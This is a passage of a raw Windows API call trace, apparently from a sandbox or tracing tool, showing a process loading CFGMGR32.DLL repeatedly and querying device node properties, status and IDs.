(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.788] malloc (_Size=0x18) returned 0x20abc282060 [0195.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.788] malloc (_Size=0x38) returned 0x20abc281650 [0195.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8) returned 0x0 [0195.789] free (_Block=0x20abc281650) [0195.789] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3076ecce, dwHighDateTime=0x1d9eb0c)) [0195.789] SetEvent (hEvent=0x248) returned 1 [0195.834] malloc (_Size=0x18) returned 0x20abc281a00 [0195.834] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0195.834] free (_Block=0x20abc281a00) [0195.834] malloc (_Size=0x18) returned 0x20abc281cc0 [0195.834] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0195.834] free (_Block=0x20abc281cc0) [0195.834] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bff0 [0195.835] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.835] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.835] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.835] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.835] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.835] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.835] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0195.835] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.836] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.836] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.837] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.838] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bff0) returned 1 [0195.838] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.838] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.842] malloc (_Size=0x18) returned 0x20abc281aa0 [0195.843] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.929] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x308c60cf, dwHighDateTime=0x1d9eb0c)) [0195.929] SetEvent (hEvent=0x248) returned 1 [0195.930] SetEvent (hEvent=0x248) returned 1 [0195.931] free (_Block=0x20abc27cf80) [0195.931] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.932] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x308c60cf, dwHighDateTime=0x1d9eb0c)) [0195.932] SetEvent (hEvent=0x248) returned 1 [0195.933] SetEvent (hEvent=0x248) returned 1 [0195.934] free (_Block=0x20abc27cb20) [0195.934] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.935] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x308c60cf, dwHighDateTime=0x1d9eb0c)) [0195.935] SetEvent (hEvent=0x248) returned 1 [0195.936] SetEvent (hEvent=0x248) returned 1 [0195.937] free (_Block=0x20abc27cb20) [0195.937] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.937] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x308c60cf, dwHighDateTime=0x1d9eb0c)) [0195.938] SetEvent (hEvent=0x248) returned 1 [0195.965] SetEvent (hEvent=0x248) returned 1 [0195.965] free (_Block=0x20abc27cb20) [0195.966] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.968] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3091265f, dwHighDateTime=0x1d9eb0c)) [0195.968] SetEvent (hEvent=0x248) returned 1 [0195.969] SetEvent (hEvent=0x248) returned 1 [0195.969] free (_Block=0x20abc27cb20) [0196.022] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x15, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0196.022] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x309ab159, dwHighDateTime=0x1d9eb0c)) [0196.023] SetEvent (hEvent=0x248) returned 1 [0196.031] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.032] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.037] malloc (_Size=0x18) returned 0x20abc282000 [0196.037] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x15, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0196.038] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x309d1338, dwHighDateTime=0x1d9eb0c)) [0196.038] SetEvent (hEvent=0x248) returned 1 [0196.041] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.041] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.044] malloc (_Size=0x18) returned 0x20abc281a20 [0196.044] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.044] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x309d1338, dwHighDateTime=0x1d9eb0c)) [0196.045] SetEvent (hEvent=0x248) returned 1 [0196.049] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.049] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.052] malloc (_Size=0x18) returned 0x20abc281dc0 [0196.052] CM_Get_Device_IDA (in: dnDevInst=0x16, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{BF5CF224-19D6-4CE8-BB5A-E42CD3DCE5E3}") returned 0x0 [0196.052] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x309f73cb, dwHighDateTime=0x1d9eb0c)) [0196.053] SetEvent (hEvent=0x248) returned 1 [0196.055] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.056] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.059] malloc (_Size=0x18) returned 0x20abc281960 [0196.059] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.059] malloc (_Size=0xe6) returned 0x20abc286890 [0196.059] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0196.060] free (_Block=0x20abc286890) [0196.060] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x309f73cb, dwHighDateTime=0x1d9eb0c)) [0196.060] SetEvent (hEvent=0x248) returned 1 [0196.063] malloc (_Size=0x18) returned 0x20abc281e60 [0196.063] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc40b068) returned 0x0 [0196.063] free (_Block=0x20abc281e60) [0196.073] malloc (_Size=0x18) returned 0x20abc281d40 [0196.073] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0196.073] free (_Block=0x20abc281d40) [0196.073] malloc (_Size=0x18) returned 0x20abc2820c0 [0196.073] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0196.073] free (_Block=0x20abc2820c0) [0196.074] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c6f0 [0196.074] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0196.074] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.074] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.074] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.074] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0196.074] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.074] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0196.074] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.074] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.075] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.075] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.075] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.076] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c6f0) returned 1 [0196.076] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.077] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.078] GetProcAddress 